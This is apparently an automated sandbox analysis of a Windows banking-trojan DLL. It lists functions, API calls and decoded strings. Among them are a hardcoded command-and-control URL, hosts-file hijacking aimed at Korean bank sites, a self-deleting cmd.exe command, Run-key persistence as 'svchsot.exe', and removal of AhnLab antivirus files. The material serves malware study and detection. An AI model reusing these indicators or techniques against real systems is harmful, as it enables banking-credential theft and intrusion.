String ID: 123$MTc0LjEzOS42NS44Njo1NjU4MA==$Mkrnaver.com:6520$SeDebugPrivilege$aHR0cDovLzE3NC4xMzkuNjUuMjIyOjI1MzY4L25ld3MucGhw$c:\agtve$c:\agtve\ReadMe.txt$c:\test.1$c:\windows\system32$c:\wiseman.exe$cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "%s"$d3d3LnNoaW5oYW4uY29tfHNlYXJjaC5kYXVtLm5ldHxzZWFyY2gubmF2ZXIuY29tfHd3dy5rYnN0YXIuY29tLmlrcnx3d3cua25iYW5rLmNvLmtyLmlrcnxvcGVuYmFuay5jdS5jby5rci5pa3J8d3d3LmJ1c2FuYmFuay5jby5rci5pa3J8d3d3Lm5vbmdoeXVwLmNvbS5pa3J8d3d3LnNoaW5oYW4uY29tLmlrcnx3d3cud29vcmliYW5rLmNvbS5p$http://107.163.241.232:12354/show.php$krnaver.com:6520$www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 666504283-1075761258
Opcode ID: 1a1ffc0209291ceea76840690b20f3bbf0ea9f5aa895b07c39f2ebcda632cb22
Instruction ID: c2b964bca94a91e70f938dacfcc7d80519b83498a4bbcf2bec864d40d2c1bd09
Opcode Fuzzy Hash: 1a1ffc0209291ceea76840690b20f3bbf0ea9f5aa895b07c39f2ebcda632cb22
Instruction Fuzzy Hash: 0171EE75784B007BF220E6B49C47FAA3581DB85B95F210224F706BE1C6EEE4FA44816E

Function 10007800 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 427
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 10007863

Part of subcall function 10004940: InternetOpenA.WININET(?,?,?,?,?), ref: 10004959

Strings

http://blog.sina.com.cn/u/%s, xrefs: 10007857
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0), xrefs: 10007885
title, xrefs: 10007A07, 10007A18

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpenwsprintf
String ID: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)$http://blog.sina.com.cn/u/%s$title
API String ID: 4197039022-1204782975
Opcode ID: ac3329271bd9d36dabe8b2f1c970d2275d2f31060d9b6ba8ce49d74b3c14c55d
Instruction ID: 095fe5dde53d71875dce48b6fc83110d19f8d3916a50ec2a0be112dbd884ee86
Opcode Fuzzy Hash: ac3329271bd9d36dabe8b2f1c970d2275d2f31060d9b6ba8ce49d74b3c14c55d
Instruction Fuzzy Hash: 8DD16B75E041446FEB14CF68CC81BFEBBA5FB442A0F10426EF9199B281DB769E01C7A1

Function 100075F0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 168
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strstr.MSVCRT ref: 1000769B
strstr.MSVCRT ref: 100076BF
strcspn.MSVCRT ref: 100076CE
strstr.MSVCRT ref: 100076DA
strcspn.MSVCRT ref: 100076E9
strncpy.MSVCRT ref: 100076F2
strstr.MSVCRT ref: 1000772F
strcspn.MSVCRT ref: 10007742
strncpy.MSVCRT ref: 10007752
strcspn.MSVCRT ref: 10007762
atoi.MSVCRT(?), ref: 10007769
WSAStartup.WS2_32(00000202,?), ref: 10007783
htons.WS2_32(00000000), ref: 10007795
socket.WS2_32(00000002,00000001,00000000), ref: 100077BA
connect.WS2_32(00000000,?,00000010), ref: 100077CA
closesocket.WS2_32(00000000), ref: 100077D6

Strings

http://, xrefs: 10007695

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: strcspnstrstr$strncpy$Startupatoiclosesocketconnecthtonssocket
String ID: http://
API String ID: 2221484516-1121587658
Opcode ID: 5c2d05fa6207655839d0808158efd3d400898c35f4cf240536f96aa1fb864cbe
Instruction ID: c21daf10c3e951720ad3e589d1e55667024fa973de2a3a3a443ae2c0494599a8
Opcode Fuzzy Hash: 5c2d05fa6207655839d0808158efd3d400898c35f4cf240536f96aa1fb864cbe
Instruction Fuzzy Hash: 1E5104312043046BE314CB34CC44BEBB3D9FFC9350F404A2CFA5997280EB79DA1886A6

Function 10004DA0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 145
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,74DF0F00,10005086,00000000,self), ref: 10004DFC
strrchr.MSVCRT ref: 10004E09
CreateFileA.KERNEL32(?,MZ@,00000007,00000000,00000004,00000080,00000000), ref: 10004E62
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 10004E78
time.MSVCRT(00000000), ref: 10004E7F
_localtime32.MSVCRT(?), ref: 10004E8E
strftime.MSVCRT ref: 10004EA1
vsprintf.MSVCRT ref: 10004EF3
sprintf.MSVCRT ref: 10004F13
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10004F3D
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 10004F44

Strings

%s%s, xrefs: 10004F0D
MZ@, xrefs: 10004E5C
log.txt, xrefs: 10004E1D

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNamePointerWrite_localtime32sprintfstrftimestrrchrtimevsprintf
String ID: %s%s$MZ@$log.txt
API String ID: 2392943451-673521906
Opcode ID: d1bdc3c774a689637d6f495e9813b9ee9ac93210ea13629b8e67d8557dd03d55
Instruction ID: d5d278936535e4cba90bc0b152de8e4c93260a9cf759ec48f07ff2ba3d5d953d
Opcode Fuzzy Hash: d1bdc3c774a689637d6f495e9813b9ee9ac93210ea13629b8e67d8557dd03d55
Instruction Fuzzy Hash: DF41B5B1148345AFE328CB74CC899EB7BA9EBC8350F404A2DF75A872D0DFB499098651

Function 10009240 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 205
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001000: lstrcpy.KERNEL32(00000000,00000001), ref: 10001155
Part of subcall function 10001000: 6CEE2C70.MFC42(00000001,?,74DF0F00), ref: 1000115C

Sleep.KERNEL32(0000EA60), ref: 10009288
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 100092D3
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 100092DF
Sleep.KERNEL32(000927C0), ref: 10009420
wsprintfA.USER32 ref: 10009471
Sleep.KERNEL32(000927C0), ref: 100094CB

Strings

c:\1.txt, xrefs: 1000940C
http://107.163.241.232:12354/show.php, xrefs: 100093C7
QVlSVFNydi5heWU=, xrefs: 10009258
QVNEU3ZjLmV4ZQ==, xrefs: 1000924E
iOffset, xrefs: 10009407
XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==, xrefs: 100092FF
XGRyaXZlcnNcZXRjXGhvc3Rz, xrefs: 100092E1

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Sleep$DirectorySystem$lstrcpywsprintf
String ID: QVNEU3ZjLmV4ZQ==$QVlSVFNydi5heWU=$XGRyaXZlcnNcZXRjXGhvc3Rz$XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==$c:\1.txt$http://107.163.241.232:12354/show.php$iOffset
API String ID: 2291147283-888787304
Opcode ID: 5922782ddf026c53060f0f63c1ad289b21dee719ea41d24eaeab7540742c2ec5
Instruction ID: b8854392ff10616702e47e0bcfff7711cc3888a46334cdc6d8595219f0281411
Opcode Fuzzy Hash: 5922782ddf026c53060f0f63c1ad289b21dee719ea41d24eaeab7540742c2ec5
Instruction Fuzzy Hash: B55146756046446BE365C674CC52BEB36C6EBC82D0F100A3CF64A872C6EE71EA498692

Function 1000B6A0 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 189
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000B6EA
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000B6F9

Part of subcall function 10001000: lstrcpy.KERNEL32(00000000,00000001), ref: 10001155
Part of subcall function 10001000: 6CEE2C70.MFC42(00000001,?,74DF0F00), ref: 1000115C

Sleep.KERNEL32(000927C0), ref: 1000B822
wsprintfA.USER32 ref: 1000B8A7
Sleep.KERNEL32(000927C0), ref: 1000B8D5

Strings

http://107.163.241.232:12354/show.php, xrefs: 1000B7DB
127.0.0.1, xrefs: 1000B8B5
cmd.exe /c ipconfig /flushdns, xrefs: 1000B8C4
XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==, xrefs: 1000B716
8.8.8.8, xrefs: 1000B8B0
XGRyaXZlcnNcZXRjXGhvc3Rz, xrefs: 1000B6FB

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: DirectorySleepSystem$lstrcpywsprintf
String ID: 127.0.0.1$8.8.8.8$XGRyaXZlcnNcZXRjXGhvc3Rz$XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==$cmd.exe /c ipconfig /flushdns$http://107.163.241.232:12354/show.php
API String ID: 2704893763-1395296613
Opcode ID: db2d6b3046defbdf920574d5d26133844e3622f0e207e53ae40463d585e72ec7
Instruction ID: 0c20509c5945297f8f237a4b3797596a51a84c821cbe864c7c2b37f26de8eee8
Opcode Fuzzy Hash: db2d6b3046defbdf920574d5d26133844e3622f0e207e53ae40463d585e72ec7
Instruction Fuzzy Hash: CC518D71504A486BE364CA74CC91AEB3BCAEB893D0F104A3CF7468B2D5EE71D948C391

Function 10006F20 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 151
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,?,00000000,000F003F,?,?,?,?), ref: 10006F4F
GlobalMemoryStatusEx.KERNEL32(?), ref: 10007009
GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?), ref: 10007062

Part of subcall function 10004C70: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,74DF0F10,?,1000AAC6,?,74DF0F10,00000000,000000FF,?,00000104,?,?,?), ref: 10004C8E

Part of subcall function 10004C60: RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,74DF0F00), ref: 10004C65

Strings

09121307, xrefs: 10007037
ProcessorNameString, xrefs: 10006F71
http://107.163.241.232:12354/show.php, xrefs: 100070E5
%u MB, xrefs: 1000702C
Find CPU Error, xrefs: 10006FC1
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 10006F32
@, xrefs: 10007000

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CloseDefaultGlobalLanguageMemoryOpenQueryStatusSystemValue
String ID: %u MB$09121307$@$Find CPU Error$HARDWARE\DESCRIPTION\System\CentralProcessor\0$ProcessorNameString$http://107.163.241.232:12354/show.php
API String ID: 2543995030-394306148
Opcode ID: 4e22ea78a27a306f584328a55715875c7210a62967ded5604e4a38dd3874c05e
Instruction ID: 3ad2bcc863b837c91c8faade8dea923d340ec5ffd05ed7ea934ab2fdf9765298
Opcode Fuzzy Hash: 4e22ea78a27a306f584328a55715875c7210a62967ded5604e4a38dd3874c05e
Instruction Fuzzy Hash: 8041F5766002045BE714CA28DC81BAB77D6FBC8350F544A2CFA59CB2C5EE78E908C796

Function 1000B8E0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 65
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 1000B95F
DeleteFileA.KERNEL32(?), ref: 1000B96F
wsprintfA.USER32 ref: 1000B990
DeleteFileA.KERNEL32(?), ref: 1000B99A
DeleteFileA.KERNEL32(C:\1.vbs), ref: 1000B9A1

Strings

%s\V3Lite.exe, xrefs: 1000B98A
InstallPath, xrefs: 1000B92A
C:\1.vbs, xrefs: 1000B99C
%s\ASDSvc.exe, xrefs: 1000B959
U09GVFdBUkVcQWhuTGFiXFYzTGl0ZQ==, xrefs: 1000B92F

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: DeleteFile$wsprintf
String ID: %s\ASDSvc.exe$%s\V3Lite.exe$C:\1.vbs$InstallPath$U09GVFdBUkVcQWhuTGFiXFYzTGl0ZQ==
API String ID: 1588361905-790033058
Opcode ID: 78508965cc5a19c928f5a57ae299255aa932a64f56e005951962bd9cc420be60
Instruction ID: 1dfada7e8b5ca1f324769cc69037653655a4e6411eba5475badaeff67279124f
Opcode Fuzzy Hash: 78508965cc5a19c928f5a57ae299255aa932a64f56e005951962bd9cc420be60
Instruction Fuzzy Hash: E2110AB65043447EE714D264DC82EEBB7A9EBC8350F00892DF74897141EAB8A54C87A3

Function 10008CF0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 61
sleepsynchronizationthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WSAStartup.WS2_32(00000202,?), ref: 10008D13

Part of subcall function 100048E0: CreateMutexA.KERNEL32(?,?,?,10008DF5), ref: 100048EF

GetLastError.KERNEL32 ref: 10008D2C
CloseHandle.KERNEL32(00000000), ref: 10008D9E

Part of subcall function 10007800: wsprintfA.USER32 ref: 10007863

Sleep.KERNEL32(0002BF20,00000000,00000000), ref: 10008D60
CreateThread.KERNEL32 ref: 10008D7C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10008D87
CloseHandle.KERNEL32(00000000), ref: 10008D8E
Sleep.KERNEL32(0002BF20), ref: 10008D99

Strings

5655029807, xrefs: 10008D4A
0x5d65r455f, xrefs: 10008D19

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateHandleSleep$ErrorLastMutexObjectSingleStartupThreadWaitwsprintf
String ID: 0x5d65r455f$5655029807
API String ID: 3565103679-1179119988
Opcode ID: 1a3b27e525e8e5581aee81941031d63d0a25c614fe17f581aa30fa82347c58f1
Instruction ID: 7f0c169c507e5996f06a3fa8500c359fcd6d382ddda4958c890d8906a17dfaa3
Opcode Fuzzy Hash: 1a3b27e525e8e5581aee81941031d63d0a25c614fe17f581aa30fa82347c58f1
Instruction Fuzzy Hash: 90112BB664021477F361D7609C4AFAA3748E755391F014231FB05991C6DA749514C3A7

Function 1000C3E0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 124
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Netbios.NETAPI32 ref: 1000C41F
Netbios.NETAPI32(?), ref: 1000C45B

Strings

3, xrefs: 1000C4BE
2, xrefs: 1000C452
%02X%02X%02X%02X%02X%02X, xrefs: 1000C558

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Netbios
String ID: %02X%02X%02X%02X%02X%02X$2$3
API String ID: 544444789-1505804699
Opcode ID: ed2c05e4c58613b2c26dfba51cf9c36810fcacaa73115f46d11269ef5a7d970f
Instruction ID: 728b9448df0537b33cd7c33a8ad28386f52a8ed2ab8d8cf9ed196ef958deebfa
Opcode Fuzzy Hash: ed2c05e4c58613b2c26dfba51cf9c36810fcacaa73115f46d11269ef5a7d970f
Instruction Fuzzy Hash: E141BC361187829BD724CB68C8107FBB7E5EFC4354F44483DA5D48B682DAB8A6098793

Function 1000B9B0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
registrysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,00000000), ref: 1000BA17
RegQueryInfoKeyA.ADVAPI32(?,00000000,00000000,00000000,?,?,00000000,?,?,?,00000000,00000000), ref: 1000BA4D
RegCloseKey.ADVAPI32(00000000), ref: 1000BAFD
Sleep.KERNEL32(000493E0), ref: 1000BB08

Strings

svchsot.exe, xrefs: 1000BAC8
SOFTWARE\Microsoft\Windows\CurrentVersion\Run, xrefs: 1000BA0D

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CloseInfoOpenQuerySleep
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Run$svchsot.exe
API String ID: 2225969182-2172464104
Opcode ID: 08361449016b7f44612439fb6acee60cc4640fc407a9dfebd49ab1ea5b08d991
Instruction ID: 8391b5504ccf8cab49b59508a831428093b3ef4b36d771d3e57068c3abc199ad
Opcode Fuzzy Hash: 08361449016b7f44612439fb6acee60cc4640fc407a9dfebd49ab1ea5b08d991
Instruction Fuzzy Hash: 00313D71209342AFE311CF55CC84FABB7E9FBC9B44F40492DF28596184DA74EA05CBA2

Function 10008DC0 Relevance: 10.5, APIs: 7, Instructions: 46sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202), ref: 10008DD4

Part of subcall function 100048E0: CreateMutexA.KERNEL32(?,?,?,10008DF5), ref: 100048EF

GetLastError.KERNEL32 ref: 10008DFA
CreateThread.KERNEL32(00000000,00000000,Function_00008A70,?,00000000,00000000), ref: 10008E20
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 10008E27
CloseHandle.KERNEL32(00000000), ref: 10008E2A
Sleep.KERNEL32(00002710), ref: 10008E35
CloseHandle.KERNEL32(00000000), ref: 10008E3E

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: CloseCreateHandle$ErrorLastMutexObjectSingleSleepStartupThreadWait
String ID:
API String ID: 3243752880-0
Opcode ID: a33727e10fbf79d2b309350ef58ca67d960a310af08ab45507f6163eac35f4c8
Instruction ID: a359fb298355683a4573c8a866c24d0698d26be9667dacd13f7a321984fbe110
Opcode Fuzzy Hash: a33727e10fbf79d2b309350ef58ca67d960a310af08ab45507f6163eac35f4c8
Instruction Fuzzy Hash: C9012875244260BBF2219760DC4EF9E3B68FB8A7A0F114224FB18961C2C7B4691083BB

Function 100094E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 117sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000927C0), ref: 1000959A
wsprintfA.USER32 ref: 1000961F
Sleep.KERNEL32(000927C0), ref: 10009633

Strings

http://107.163.241.232:12354/show.php, xrefs: 10009553

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: Sleep$wsprintf
String ID: http://107.163.241.232:12354/show.php
API String ID: 3195947292-2344152501
Opcode ID: 8f976409f3338855f43dfdd1e78e4cb3942958b9788ba1596308c0077738c756
Instruction ID: d4c08372696571601e49f361774c7e6739f4c64afbccb80dc67fb9e03b5bb553
Opcode Fuzzy Hash: 8f976409f3338855f43dfdd1e78e4cb3942958b9788ba1596308c0077738c756
Instruction Fuzzy Hash: 26315E71504A856BF365CA34CC92ADB3BC7EB853D0F11492CF6858B189EA37D9498352

Function 10001000 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137stringCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(00000000,00000001), ref: 10001155
6CEE2C70.MFC42(00000001,?,74DF0F00), ref: 1000115C

Strings

VUUU, xrefs: 10001056

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: lstrcpy
String ID: VUUU
API String ID: 3722407311-2040033107
Opcode ID: d333b3c2b3d2ade3472a0c98afb8ba078a3a655890211f516e2ff079b765f810
Instruction ID: c786a2ff591aff92977bd3f5140d7e1907602f98ed4a153bb8b8b05817a39e60
Opcode Fuzzy Hash: d333b3c2b3d2ade3472a0c98afb8ba078a3a655890211f516e2ff079b765f810
Instruction Fuzzy Hash: AF416B31B0049207F32DC62C8CB227ABBD2DB922C0B54813EE6C7C7256D9A2DD66C350

Function 10011171 Relevance: 3.8, APIs: 3, Instructions: 54COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 1001119F
_initterm.MSVCRT ref: 100111CA
free.MSVCRT ref: 10011207

Memory Dump Source

Source File: 00000005.00000002.4135575303.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000005.00000002.4135525050.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135604530.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.4135622472.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_10000000_rundll32.jbxd

Similarity

API ID: _inittermfreemalloc
String ID:
API String ID: 1678931842-0
Opcode ID: 5140d0d9db605dcb194d2652ea19dca16f20f6a940eaa12075955abeed17ba9d
